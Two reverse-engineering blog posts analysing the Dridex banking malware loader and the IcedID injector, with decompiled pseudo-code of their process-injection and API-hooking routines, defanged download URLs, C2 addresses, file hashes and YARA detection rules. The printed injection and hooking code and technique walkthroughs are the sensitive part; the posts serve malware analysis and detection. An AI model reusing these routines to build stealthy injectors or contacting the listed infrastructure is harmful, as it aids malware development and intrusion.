Let’s Learn: Dissecting Dridex Banking Malware Part 1: Loader and Avast "snxk.dll" Hooking Lib

Goal: Reverse engineer and analyze the latest “Dridex” banking malware loader and its usage of Avast “snxk.dll” hooking library.

https://platform.twitter.com/widgets.js
Source:
Dridex Packed Loader 32-bit (x86) Executable (MD5: de0bb0bec9fd145a6f57e538a7dd8693)
Unpacked Dridex “ldr” Loder 32-bit (x86) Executable (MD5: 0fc7b913d0e0278d195b3606b608a223)
“snxk.dll” Injector 32-bit (x86) DLL (MD5: 105987197a3c8f76b92c4cae56fe1b16)
Outline

I. Background
II. Malware Campaign Spreading "Dridex" Banker
III. Original Dridex Packed Loader 32-bit (x86) Executable
IV. Unpacked Dridex Loader 32-bit (x86) Executable
A. Dridex Loader OutputDebugStringW(L"installing"/ L"installed")
B. Loader System Profile
C. CreateMutex: GetComputerNameA & GetEnvironmentVariableW(USERNAME)
D. Dridex Loader API and Function Resolver
E. CreateProcessW "svchost.exe" Process (flag=0xC)
F. Loader Enumerate Modules and Inject "snhxk.dll" Hooker Library
H. Loader AtomBombing Technique.
V. Unpacked "snxk.dll" Hooker 32-bit (x86) DLL
V. Yara Signature: Dridex Loader

I. Background
Dridex by far is one of the most complex and sophisticated financial banking malware on the e-crime landscape. The malware is also referred to as “Bugat” and “Cridex” by various researchers. The original Bugat malware dates back to 2010, which at some point rivaled the original “Zeus” banking malware. This malware group behind it was referenced in the Department of Justice arrest and indictment of a certain Moldovan national back in 2015. Notably, Dridex leverages AtomBombing process injection technique, initially discovered by EnSilo researchers. Before diving deeper, I highly recommend reading IBM X-Force blog titled “Dridex’s Cold War: Enter AtomBombing” detailing the Dridex method implementing this AtomBombing technique.

II. Malware Campaign Spreading "Dridex" Banker
This latest Dridex variant was distruted via an interesting chain from Microsoft Office document with macros communicating with the intermediatery server receving tasks and receiving encrypted payloads as follows: 
hxxp://securityupdateserver4[.]com/tasks[.]php
hxxp://securityupdateserver4[.]com/modules/x86payload[.]core
hxxp://securityupdateserver4[.]com/modules/x64payload[.]core
Finally, the Dridex loader was retrieved from the following URL as "dridex.exe":
hxxp://209[.]141[.]59[.]124/dridex[.]exe
III.  Original Dridex Packed Loader 32-bit (x86) Executable

The crypted binary leverages GdiFlush API in a loop until it reaches the decoding loop, which unpacks the loader leveraging the following API calls:

ntdll.LdrGetProcedureAddress
kernel32.VirtualAlloc

The original loader was obfuscated and packed by pretty interesting crypter with the following executable information with the program database (PDB) path.

---------------------------------------
----------Dridex Packed Loader---------
---------------------------------------

[IMAGE_DEBUG_DIRECTORY]
0x1F760 0x0 Characteristics: 0x0
0x1F764 0x4 TimeDateStamp: 0x5B90D07C [Thu Sep 6 07:00:12 2018 UTC]
0x1F768 0x8 MajorVersion: 0x0
0x1F76A 0xA MinorVersion: 0x0
0x1F76C 0xC Type: 0x2
0x1F770 0x10 SizeOfData: 0x33
0x1F774 0x14 AddressOfRawData: 0x28CE4
0x1F778 0x18 PointerToRawData: 0x28CE4
Type: IMAGE_DEBUG_TYPE_CODEVIEW

[CV_INFO_PDB70]
0x28CE4 0x0 CvSignature: 0x53445352
0x28CE8 0x4 Signature_Data1: 0x5F1B5FEA
0x28CEC 0x8 Signature_Data2: 0x48
0x28CEE 0xA Signature_Data3: 0x446A
0x28CF0 0xC Signature_Data4: 0xDA80
0x28CF2 0xE Signature_Data5: 0x6506
0x28CF4 0x10 Signature_Data6: 0x14D18F78
0x28CF8 0x14 Age: 0x1
0x28CFC 0x18 PdbFileName: EHW###%@$WHRENBRWHrjhss.pdb

IV. Unpacked Dridex Loader 32-bit (x86) Executable
The unpacked Dridex loader contains 398 functions and 4 sections (.text, .rdata, .data, and .reloc) with only one imported KERNEL32.dll and one API call OutputDebugStringW, statically. The total size of the unpacked loader is 86 KB. By far, the Dridex is more complex with obscure API calls obfuscated by its API hashing algorithm, process environment block (PEB) traversal, and Nt-level calls, meant to evade and frustrate automated analysis. Additionally, the loader also appears to leverage legitimate Avast library “snxk.dll” to evade detection.

---------------------------------------
----------Dridex Unpacked Loader-------
---------------------------------------

[IMAGE_DEBUG_DIRECTORY]
0x151B0 0x0 Characteristics: 0x0
0x151B4 0x4 TimeDateStamp: 0x5B8EAB53 [Tue Sep 4 15:57:07 2018 UTC]
0x151B8 0x8 MajorVersion: 0x0
0x151BA 0xA MinorVersion: 0x0
0x151BC 0xC Type: 0x2
0x151C0 0x10 SizeOfData: 0x3B
0x151C4 0x14 AddressOfRawData: 0x16804
0x151C8 0x18 PointerToRawData: 0x15204
Type: IMAGE_DEBUG_TYPE_CODEVIEW

[CV_INFO_PDB70]
0x15204 0x0 CvSignature: 0x53445352
0x15208 0x4 Signature_Data1: 0xF58A923F
0x1520C 0x8 Signature_Data2: 0xE81
0x1520E 0xA Signature_Data3: 0x4833
0x15210 0xC Signature_Data4: 0xCBB4
0x15212 0xE Signature_Data5: 0x23F9
0x15214 0x10 Signature_Data6: 0x7FBD8DA0
0x15218 0x14 Age: 0xE
0x1521C 0x18 PdbFileName: S:\Work\_bin\Release-Win32\ldr.pdb

A. Dridex Loader OutputDebugStringW(L”installing”/ L”installed”)
Once the packed loader is unpacked, we observe the Dridex loader loop leveraging OutputDebugStringW and wide strings “installing” and “installed.” It is also notable that the malware proceeds to call GetAdaptersInfo immediately after presumably to check for architecture and Windows version compatibility.

////////////////////////////////////////////////////////////
//////// Dridex Loader "installed" start exceprt ///////////
////////////////////////////////////////////////////////////
if ( (signed int)installing_ldr((char *)2) > 1 )
// OutputDebugStringW(L"installing")
OutputDebugStringW(L"installed");
v51 = a1;
svchost_exe_dridex_loader_process = a4;
v52 = 10240;
hash_func1((int)&v69, 10240);
v4 = func_calc((int)&v69, 0);
GetAdaptersInfo = (void (__cdecl *)(int, int *))func_hash1(0xDEE7C423, 0xDC613C9);
if ( GetAdaptersInfo )
GetAdaptersInfo(v4, &v52);
while ( v4 )
{
if ( *(_DWORD *)(v4 + 0x194) == 0x4B005452 && *(_WORD *)(v4 + 0x198) == 0x31A1 )
{
Dridex_loader_start(0, a2, a3, v4);
goto LABEL_12;
}
v4 = *(_DWORD *)v4;
}

B. Loader System Profile
Dridex loader profiles the system architecture leveraging various APIs and tries to obtain process token access. Additionally, the malware leverages RtlQueryElevationFlags to identify system privileges and configuration. The malware verifies it was launched with administrative privileges by calling the AllocateAndInitializeSid() function with the 0x20 (SECURITY_BUILTIN_DOMAIN_RID) and 0x220 (DOMAIN_ALIAS_RID_ADMINS) sub-authorities.
The Dridex loader leverages the following API call sequences to profile the system:

  • GetVersionExW
  • IsWow64Process
  • Process Token Access
    • OpenProcessToken
    • GetTokenInformation
    • AllocateAndInitializeSid
    • EqualSid
    • FreeSid
  • RtlQueryElevationFlags
  • GetSystemInfo

Additionally, the loader also uses SHRegDuplicateHKey API call to and enumerates registry keys at the following location leveraging RegOpenKeyExW, RegEnumKeyW:

  • HKLM\Software\Microsof\Windows\CurrentVersion\Policies\System
////////////////////////////////////////////////////////////
//////// Dridex Loader Registry Enum exceprt ///////////
////////////////////////////////////////////////////////////
if ( HKLM && HKLM != -1 )
sub_87B085(HKLM);
HKLM = v9;
v9 = 0;
v12 = (_DWORD *)func_calc(a2, 4 * v11);
v13 = 0;
v36 = *v12 ^ 0x3F62AA29;
while ( 1 )
{
v33 = v13;
RegEnumKeyW = (int (__stdcall *)(int, int, char *, signed int))func_hash1(0x3D61B1D5, 0xF2B958D9);
v5 = RegEnumKeyW ? RegEnumKeyW(HKLM, v13, Microsoft, 260) : 0;
if ( v5 )
break;
v15 = (void **)Alpha_Alloc((_WORD **)&Microsoft, (unsigned __int16 **)&v41);
v16 = WideCharToMultiByte_func_0(*v15);
v17 = v16 == v36;
j_RtlFreeHeap_func_0_0((int)&v41);
if ( v17 )
{
v35 = 0;
RegOpenKeyExW = (int (__stdcall *)(int, char *, _DWORD, signed int, int *))func_hash1(0x3D61B1D5, 0xA8C65AB);
if ( RegOpenKeyExW )
{
v19 = 0x20109;
if ( v31 == v37 )
v19 = v34;
v5 = RegOpenKeyExW(HKLM, Microsoft, 0, v19, &v35);
// HKLM\Software\ Microsof\Windows\CurrentVersion\Policies\System
else
{
v5 = 0;
}

C. CreateMutex: GetComputerNameA & GetEnvironmentVariableW(USERNAME)
The malware creates mutex leveraging advapi32.dll’s Crypto API CryptHashData calculating an MD5 value out of the concatenated output of GetComputerNameA and GetEnvironmentVariableW(“USERNAME”).
D. Dridex Loader API and Function Resolver
The malware resolves ZwProtectVirtualMemory and GetSystemDirectory and LoadLibraryW (advapi32.dll, psapi.dll, shlwapi.dll, shell32.dll, wininet.dll)

E. CreateProcessW “svchost.exe” process (flag=0xC)
The Dridex loader leverages CreateProcessW with the creation flag 0xC (CREATE_SUSPENDED|DETACHED_PROCESS) for initial process start via “svchost.exe passing the location of the Dridex loader as a command-line argument to “C:\Windows\system32\svchost.exe” and setting the current directory as “C:\Windows\system32.”

//////////////////////////////////////////////////////
////// Dridex Loader "CreateProcessW" Call ///////////
//////////////////////////////////////////////////////
CreateProcessW
(L"C:\Windows\system32\svchost.exe", // ModuleFileName
L"C:\Windows\system32\svchost.exe \
"PATH_TO_DRIDEX_LOADER"", // CommandLine
0,
0,
0,
0xC, // 0xC = CREATE_SUSPENDED|DETACHED_PROCESS
0,
// CurrentDir
L"C:\Windows\system32\",
&pStartupInfo,
&pProcessInfo)

Then, the loader proceeds to immediately obtain process information via the following sequence of API calls:

GetProcessId -> NtOpenProcess -> GetProcessImageFileNameW -> NtQueryInformationProcess -> \
GetProcessTimes -> ProcessToken Access

F. Loader Enumerate Modules and Inject “snhxk.dll” Hooker Library
Dridex enumerates modules via the following chain and injects “snxhk.dll” into “svchost.exe”:

CreateToolhelp32Snapshot -> Thread32First -> Thread32Next -> OpenThread -> \
NtQueryVirtualMemory -> NtReadVirtualMemory -> \ NtWriteVirtualMemory -> NtResumeThread

Additionally, the malware injects the DLL into the memory leveraging NtWriteVirtualMemory into the space of the suspended “svchost.exe.” 

H. Loader AtomBombing Technique
The Dridex loader leverages GlobalAddAtomW and GlobalGetAtomName with NtQueueApcThread with NtProtectVirtualMemory API call in end to make the memory region RWX as it is well-documented here.

///////////////////////////////////////////////////////////////////
//////////// Dridex Atom NtNtQueueApcThread //////////////
///////////////////////////////////////////////////////////////////

bool __fastcall Dridex_Atom_NtQueueApc(void *this, int edx0, int a2, int a3, int a4)
{

v5 = this;
v6 = edx0;
v7 = GlobalAddAtomW_GlobalGetAtomNameW_func((void *)a4);
LOWORD(v13) = v7;
if ( v7 && -1 != v7 && (v8 = func2((void *)a4), NtQueueApcThread_func
(a2, (int)v5, (unsigned __int16)v7, a3, v8 / 2)) )
{
ZwDelayExecution_func((void *)0x64);
v9 = func2((void *)a4);
v10 = func_calc(a4, 0);
v11 = NtReadVirtualMemory_func(v6, a3, v10, v9);
}
else
{
v11 = 0;
}
if ( v7 && -1 != v7 )
GlobalDeleteAtom_func(v13);
return v11;
}

V. Unpacked “snhxk.dll” Hooker 32-bit (x86) DLL

The injected “snhxk.dll” DLL contains 15 functions and 4 sections (.text, .rdata, .data, and .reloc) and one imported library KERNEL32.dll with two imported APIs FreeConsole and VirtualQuery, statically. The size of the DLL is 9 KB. Once run, this DLL also resolves dynamically GetProcAddress, LoadLibraryA, VirtualAlloc, VirtualProtect and retrieves LdrLoadDll.
Dridex appears to leverage snxhk.dll specifically to monitor LdrLoadDll API calls. The “snhxk.dll” appears to be related to Avast anti-virus hooker library to monitor loader.
The malware sets up a hook on NTDLL.dll!LdrLoadDll overwriting it with relative opcode “0xe9” jump.
//////////////////////////////////////////////////////
////// Dridex "snxhk.dll "LdrLoad" Hook Exceprt /////
//////////////////////////////////////////////////////
PVOID LdrLoadDll_dridex()
{

v12 = (_BYTE *)load_ntdll((int)"LdrLoadDll");
v11 = v12;
if ( *v12 == 0xE9u // jmp relative offset = "0xE9" opcode
{
do
{
v0 = *(_DWORD *)(v11 + 1);
v1 = v11[v0 + 5] == 0xE9u;
v11 += v0 + 5;
}
while ( v1 );
}
v10 = 0;
if ( v12 != v11 )
{
VirtualQuery(v11, &Buffer, 0x1Cu);
v10 = 0;
if ( Buffer.AllocationBase )
{
v9 = (char *)Buffer.AllocationBase + *((_DWORD *)Buffer.AllocationBase + 15);
v10 = Buffer.AllocationBase;
if ( *(_WORD *)Buffer.AllocationBase == 0x5A4D )
{
v10 = Buffer.AllocationBase;
if ( *(_DWORD *)v9 == 0x4550 )
VI. Yara Signature: Dridex Loader
import "pe"

rule crime_win32_dridex_banker_loader {
meta:
description = "Detects Dridex Loader September 4, 2018"
author = "@VK_Intel"
date = "2018-09-10"
hash1 = "ce509469b80b97e857bcd80efffc448a8d6c63f33374a43e4f04f526278a2c41"
strings:
$s1 = "S:\\Work\\_bin\\Release-Win32\\ldr.pdb" fullword ascii
$s2 = "OutputDebugStringW" fullword ascii
$s3 = "KERNEL32.dll" fullword ascii

$hash_resolver = { 56 57 8b fa 8b f1 8b cf e8 ?? ?? ?? ?? 85 c0 75 ?? 81 fe 29 aa 62 3f 75 ?? 33 c0 5f 5e c3}

condition:
( uint16(0) == 0x5a4d and
filesize < 300KB ) and
pe.imphash() == "cdd344983e4f44182600c69cb4fab21d" and (1 of them) or
( 1 of ($s*) and $hash_resolver )
}
VII. Appendix: Dridex Loader Configuration
Dridex ID: “10205”
104.236.24[.]85:443
188.240.231[.]15:3889
107.170.220[.]167:4431

Let’s Learn: Deeper Dive into "IcedID"/"BokBot" Banking Malware: Part 1

Goal: Reverse engineer and analyze one of the latest “IcedID” banking malware (also known to some researchers as “BokBot”) focusing on its core functionality.

https://platform.twitter.com/widgets.js Malware:
Original Packed IcedID Loader (MD5: 78930770cb81ad779958da3523fcb829)

Unpacked Injector IcedID (M5: e42d8511c6237cd22ac6bc89a2c00861)

Outline:

I. Background

II. “Emotet” Malware Campaign Spreading “IcedId” Banker

III. Original Packed Loader "IcedID" 32-bit (x86) Executable
IV. Unpacked Process Injector "IcedID" 32-bit (x86) Executable
V. Minimalistic Process Injection: \
Hooking Engine ZwCreateUserProcess & RtlExitUserProcess
A. IcedID "HookMain" 
B. Injector CreateProcessW API Execution (dwCreationFlags=0)
C. "myZwCreateUserProcess" Hook
D. "HookRtlExitUserProcess" Function
V. Yara Signature: IcedID Injector


I. Background

IcedID banker first publically identified in November 2017; IBM’s X-Force research team published a report claiming to have spotted this new banking malware spreading via massive spam campaigns. Compromised computers were first infected with the Emotet downloader, which then grabbed IcedID from the attacker’s domain. IcedID is able to maintain persistence on infected machines, and it has targeted companies mainly in the financial services, retail, and technology sectors. IcedID operators oftentimes collaborate with other groups such as TrickBot, for example.
Additionally, I highly recommend reading Fox-IT’s paper titled Bokbot: The (re)birth of a banker.” They detail that the original discovery dates back to May 2017; additionally, it is notable that the IcedID banker appears to be a continuation of the Neverquest group activity, also known internally as “Catch.” 
II. “Emotet” Malware Campaign Spreading “IcedId” Banker
While reviewing one of the latest malware campaign spreading the Emotet loader as it was reported by Brad, I decided to dive deeper into this banker malware sample. It is notable that this specific malware campaign was spreading IcedID banker and “AZORult” stealer subsequently.
III. Original Packed Loader “IcedID” 32-bit (x86) Executable
The original IcedID loader was obfuscated and packed by pretty interesting crypter with the following executable information with the PDB path.
[IMAGE_DEBUG_DIRECTORY]
0x1E1E0 0x0 Characteristics: 0x0
0x1E1E4 0x4 TimeDateStamp: 0x4AA23E03 [Sat Sep 5 10:31:31 2009 UTC]
0x1E1E8 0x8 MajorVersion: 0x0
0x1E1EA 0xA MinorVersion: 0x0
0x1E1EC 0xC Type: 0x2
0x1E1F0 0x10 SizeOfData: 0x42
0x1E1F4 0x14 AddressOfRawData: 0x257B8
0x1E1F8 0x18 PointerToRawData: 0x245B8
Type: IMAGE_DEBUG_TYPE_CODEVIEW

[CV_INFO_PDB70]
0x245B8 0x0 CvSignature: 0x53445352
0x245BC 0x4 Signature_Data1: 0x11439B10
0x245C0 0x8 Signature_Data2: 0x27C2
0x245C2 0xA Signature_Data3: 0x49F4
0x245C4 0xC Signature_Data4: 0x6EB6
0x245C6 0xE Signature_Data5: 0x780D
0x245C8 0x10 Signature_Data6: 0x7D7BC8B5
0x245CC 0x14 Age: 0x1
0x245D0 0x18 PdbFileName: c:\Sea\Eat\Steam\First\Bone\boybehind.pdb

IV. Unpacked Process Injector “IcedID” 32-bit (x86) Executable
After unpacking the crypter/loader portion of IcedID, one of the first notable features of IcedID is its surreptitious process injection without using suspended process but relies on hooking ZwCreateUserProcess and RtlExitUserProcess. The injector appears to have been compiled on August 13, 2018. Its size is 25 KB with three sections and two imports.

[IMAGE_FILE_HEADER]
0xC4 0x0 Machine: 0x14C
0xC6 0x2 NumberOfSections: 0x3
0xC8 0x4 TimeDateStamp: 0x5B718995 [Mon Aug 13 13:37:25 2018 UTC]
0xCC 0x8 PointerToSymbolTable: 0x0
0xD0 0xC NumberOfSymbols: 0x0
0xD4 0x10 SizeOfOptionalHeader: 0xE0
0xD6 0x12 Characteristics: 0x103
Flags: IMAGE_FILE_32BIT_MACHINE, IMAGE_FILE_EXECUTABLE_IMAGE, IMAGE_FILE_RELOCS_STRIPPED

The injector contains three sections (.text, bss, .rdata) with two imported DLL:

  • SHLWAPI.DLL
  • KERNEL32.DLL
The rest of APIs, IcedID injector imports dynamically resolving NTDLL.DLL as follows.

V. Minimalistic Process Injection: Hooking Engine ZwCreateUserProcess & RtlExitUserProcess

Essentially, IcedID injector starts checks if it is being with the “/u” parameter, and if it does, it sleeps for 5000 milliseconds. Otherwise, it resolves NTDLL.dll APIs dynamically and proceeds into the main hooking function hooking ZwCreateUserProcess and RtlExitProcess APIs. Eventually, it launches the main code via “svchost.exe.” 
The injector main function works as follows as pseudo-coded in C++:

/////////////////////////////////////////////////////////
/////// IcedID Injector Start Function //////////////////
/////////////////////////////////////////////////////////

void __noreturn IcedID_start()
{
LPSTR v0;
WCHAR path_svchost_exe;
struct _STARTUPINFOW StartupInfo;
WCHAR WINDIR_svchost_exe;
struct _PROCESS_INFORMATION ProcessInformation;

v0 = GetCommandLineA();
if ( StrStrIA(v0, &unk_407DB8) )
  // "/u" - param check via CommandLineA
Sleep(5000u);
if ( Get_Param_Resolve_NTDLL((int)v0) )
{
get_decoder(&StartupInfo, 0x44);
get_decoder(&ProcessInformation, 16);
StartupInfo.cb = 0x44;
    // "IcedID" main hooking function
if ( HookMain((int)ntdll_ZwCreateUserProcess,
        (int)my_ZwCreateUserProcess) )
{
GetSystemDirectoryW(&path_svchost_exe, 0x104u);
      // Set up %WINDIR%\System32 directory path
SetCurrentDirectoryW(&path_svchost_exe);
get_svchost((int)&WINDIR_svchost_exe);
      // "svchost.exe"
lstrcatW(&path_svchost_exe, &WINDIR_svchost_exe);
CreateProcessW(0, &path_svchost_exe, 0, 0, 0, 0, 0, 0, &StartupInfo,
      &ProcessInformation);
}
}
ExitProcess(0);
}

Talos provides an excellent description of this technique as follows (copy/paste):

  • In the memory space of the IcedID process, the function ntdll!ZwCreateUserProcess is hooked.
  • The function kernel32!CreateProcessA [CreateProcessW  (Unicode) version-  @VK_Intel) is called to launch svchost.exe and the CREATE_SUSPENDED flag is not set.
  • The hook on ntdll!ZwCreateUserProcess is hit as a result of calling kernel32!CreateProcessA. The hook is then removed, and the actual function call to ntdll!ZwCreateUserProcess is made.
  • At this point, the malicious process is still in the hook, the svchost.exe process has been loaded into memory by the operating system, but the main thread of svchost.exe has not yet started.
  • The call to ntdll!ZwCreateUserProcess returns the process handle for svchost.exe. Using the process handle, the functions ntdll!NtAllocateVirtualMemory and ntdll!ZwWriteVirtualMemory can be used to write malicious code to the svchost.exe memory space.
  • In the svchost.exe memory space, the call to ntdll!RtlExitUserProcess is hooked to jump to the malicious code already written
  • The malicious function returns, which continues the code initiated by the call tokernel32!CreateProcessA, and the main thread of svchost.exe will be scheduled to run by the operating system.
  • The malicious process ends.
A. IcedID “HookMain” 
The IcedID malware BOOL-type “HookMain” function works as follows:
/////////////////////////////////////////////////////////
/////// IcedID Injector HookMain Function //////////////////
/////////////////////////////////////////////////////////
BOOL __cdecl HookMain(int relative_offset_opcode_jump, int a2)
{

result = ntdll_ZwProtectVirtualMemory_0(0xFFFFFFFF, relative_offset_opcode_jump, 5, 64, (int)&v4);
v3 = result;
if ( result )
{
//"0xE9" opcode for a jump with 32-bit relative
*(_BYTE *)relative_offset_opcode_jump = 0xE9u;
*(_DWORD *)(relative_offset_opcode_jump + 1) = a2 - relative_offset_opcode_jump - 5;
ntdll_ZwProtectVirtualMemory_0(0xFFFFFFFF, relative_offset_opcode_jump, 5, v4, (int)&v4);
result = v3;
}
return result;
}
B. Injector CreateProcessW API Execution (dwCreationFlags=0)
IcedID sets up the process execution CreateProcessW with dwCreationFlags set to 0 with no suspended proceses.
Next, the malware sets up the hook for ZwCreateUserProcess (overwrites with relative opcode 0xe9 jump) and then decompressing the buffer via RtlDecompressBuffer API call. Subsequently, the malware sets another hook on RtlExitUserProcess.
C. IcedID “myZwCreateUserProcess” Hook

The IcedID signed int “my_ZwCreateUserProcess” function prototype is as follows:
/////////////////////////////////////////////////////////
/////// IcedID Injector my_ZwCreateUserProcess Function ///
///////////////////////////////////////////////////////
signed int __thiscall my_ZwCreateUserProcess(void *this, _DWORD *a2, int a3, int a4, int a5, int a6, int a7, int a8, int a9, int a10, int a11, int a12)
{

v13 = this;
if ( ZwProtectVirtualMemory((int)ntdll_ZwCreateUserProcess, (int)&addr_of_ntdll_func_3) )
{
result = ntdll_ZwCreateUserProcess(a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12);
if ( !result )
{
if ( ntdll_RtlDecompressBuffer_0(&a12, &v13) )
result = HookRtlExitUserProcess(*a2, a12) != 0 ? 0 : 0xC0000001;
else
result = 0xC0000001;
}
}
else
{
result = 0xC0000001;
}
return result;
}

Additionally, the malware enters the boolean-type function “HookRtlExitProcess,” which deals with writing the malicious code via ntdll!ZwAllocateVirtualMemory and ntdll!ZwWriteVirtualMemory, which returns the call back to CreateProcessW to launch the execution of “svchost.exe” in memory.
D. “HookRtlExitUserProcess” Function

/////////////////////////////////////////////////////////
//// IcedID Injector HookRtlExitUserProcess Function ////
/////////////////////////////////////////////////////////
BOOL __cdecl HookRtlExitUserProcess(int a1, int a2)
{

v2 = 0;
v6 = a1;
lpMem = 0;
v8 = 0;
v9 = a2;
v3 = ntdll_ZwAllocateVirtualMemory_0(a1, 0x54, 4);
if ( v3 )
{
v2 = zwAllocateVirtualMemory_DecoderMain((int)&v6);
if ( v2 )
{
v4 = (char *)lpMem + *(_DWORD *)(v9 + 0x10);
if ( v4 )
{
*(_DWORD *)v4 = v3;
v2 = ntdll_ZwWriteVirtualMemory_Main((int)&v6);
if ( v2 )
{
v2 = CreateHookRtlExitProcess(a1, ntdll_RtlExitUserProcess, v8 + *(_DWORD *)(v9 + 0xC));
if ( v2 )
v2 = ntdll_ZwWriteVirtualMemory_0(a1, v3, (int)&dword_402000, 0x454);
}
}
}
if ( lpMem )
GetProcessHeap_Free(lpMem);
}
return v2;
}

VI. Yara Signature: IcedID Injector

rule crime_win32_iceid_injector {
meta:
description = "Detects IcedID Banker Injector"
author = "@VK_Intel"
date = "2018-09-07"
hash1 = "f48efe24259106d0d22bf764c90c96a03155f87710ec181830ea5e84c8d15a9f"
strings:
$s1 = "NTDLL.DLL" fullword ascii
$s2 = "StrStrIA" fullword ascii
$s3 = "StrToIntA" fullword ascii
$s4 = "GetSystemDirectoryW" fullword ascii
$s5 = "GetNativeSystemInfo" fullword ascii
$s6 = "LoadLibraryA" fullword ascii

$hook_rtlexitproces = { ff ?? ?? ff ?? e8 ?? ?? ?? ?? f7 d8 59 1b c0 25 ff ff ff 3f 59 05 01 00 00 c0 5e 8b e5 5d c2 2c 00}
$hook_main = { 55 8b ec 51 56 8b ?? ?? 8d ?? ?? 57 50 6a 40 6a 05 56 6a ff e8 ?? ?? ?? ?? 8b f8 83 c4 14 85 ff 74 ?? 8b ?? ?? 2b c6 c6 ?? ?? 83 e8 05 89 ?? ?? 8d ?? ?? 50 ff ?? ?? 6a 05 56 6a ff e8 ?? ?? ?? ?? 83 c4 14 8b c7 5f 5e 8b e5 5d c3}
$hook_zwcreate_user = { 55 8b ec 51 68 82 20 40 00 ff ?? ?? ?? ?? ?? e8 ?? ?? ?? ?? 59 59 85 c0 75 ?? b8 01 00 00 c0 eb ?? 56 ff ?? ?? 8b ?? ?? ff ?? ?? ff ?? ?? ff ?? ?? ff ?? ?? ff ?? ?? ff ?? ?? ff ?? ?? ff ?? ?? ff ?? ?? 56 ff ?? ?? ?? ?? ?? 85 c0 75 ?? 8d ?? ?? 50 8d ?? ?? 50 e8 ?? ?? ?? ?? 59 59 85 c0 75 ?? b8 01 00 00 c0 eb ?? ff ?? ?? ff ?? e8 ?? ?? ?? ?? f7 d8 59 1b c0 25 ff ff ff 3f 59 05 01 00 00 c0 5e 8b e5 5d c2 2c 00}
$ntdll_resolver = { 57 68 c0 7e 40 00 ff ?? ?? ?? ?? ?? 8b f8 85 ff 75 ?? 5f c3 53 56 68 76 20 40 00 68 30 20 40 00 68 51 d4 0c e5 33 db c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 53 57 57 e8 ?? ?? ?? ?? 68 70 20 40 00 68 28 20 40 00 68 b2 9f d8 b0 53 57 57 8b f0 e8 ?? ?? ?? ?? 68 58 20 40 00 68 08 20 40 00 68 eb da 7b d3 53 57 57 0b f0 e8 ?? ?? ?? ?? 83 c4 48 0b f0 68 82 20 40 00 68 40 20 40 00 68 66 5f b1 f4 53 57 57 e8 ?? ?? ?? ?? 68 64 20 40 00 68 18 20 40 00 68 df 5d 79 8c 53 57 57 0b f0 e8 ?? ?? ?? ?? 68 5e 20 40 00 68 10 20 40 00 68 94 9c 50 c5 53 57 57 0b f0 e8 ?? ?? ?? ?? 83 c4 48 0b f0 68 6a 20 40 00 68 20 20 40 00 68 e4 d1 46 ae 53 57 57 e8 ?? ?? ?? ?? 68 88 20 40 00 68 48 20 40 00 68 7e b7 06 fd 53 57 57 0b f0 e8 ?? ?? ?? ?? 68 7c 20 40 00 68 38 20 40 00 68 26 dd 7f 2d 53 57 57 0b f0 e8 ?? ?? ?? ?? 83 c4 48 0b f0 68 8e 20 40 00 68 50 20 40 00 68 ee 1a 0c 53 53 57 57 e8 ?? ?? ?? ?? 83 c4 18 0b c6 f7 d8 1b c0 5e 5b 40 5f c3 83 ?? ?? ?? ?? ?? ?? e8 ?? ?? ?? ?? 85 c0 0f ?? ?? ?? ?? ?? 53 57 e8 ?? ?? ?? ?? 8b f8 8b da 8b cf 0b cb 0f ?? ?? ?? ?? ?? 55 53 57 e8 ?? ?? ?? ?? 8b e8 59 59 85 ed 0f ?? ?? ?? ?? ?? 56 68 0e 21 40 00 68 c8 20 40 00 68 51 d4 0c e5 53 57 55 e8 ?? ?? ?? ?? 68 08 21 40 00 68 c0 20 40 00 68 b2 9f d8 b0 53 57 55 8b f0 e8 ?? ?? ?? ?? 68 f0 20 40 00 68 a0 20 40 00 68 eb da 7b d3 53 57 55 0b f0 e8 ?? ?? ?? ?? 83 c4 48 0b f0 68 1a 21 40 00 68 d8 20 40 00 68 66 5f b1 f4 53 57 55 e8 ?? ?? ?? ?? 68 fc 20 40 00 68 b0 20 40 00 68 df 5d 79 8c 53 57 55 0b f0 e8 ?? ?? ?? ?? 68 f6 20 40 00 68 a8 20 40 00 68 94 9c 50 c5 53 57 55 0b f0 e8 ?? ?? ?? ?? 83 c4 48 0b f0 68 02 21 40 00 68 b8 20 40 00 68 e4 d1 46 ae 53 57 55 e8 ?? ?? ?? ?? 68 20 21 40 00 68 e0 20 40 00 68 7e b7 06 fd 53 57 55 0b f0 e8 ?? ?? ?? ?? 68 14 21 40 00 68 d0 20 40 00 68 26 dd 7f 2d 53 57 55 0b f0 e8 ?? ?? ?? ?? 83 c4 48 0b f0 68 26 21 40 00 68 e8 20 40 00 68 ee 1a 0c 53 53 57 55 e8 ?? ?? ?? ?? 55 0b f0 e8 ?? ?? ?? ?? 83 c4 1c 85 f6 5e 75 ?? c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? 5d 5f 5b c3}

condition:
uint16(0) == 0x5a4d and
filesize < 80KB and
( all of ($s*) and $hook_main)
or ( $hook_main and ($ntdll_resolver or $hook_rtlexitproces or $hook_zwcreate_user))
}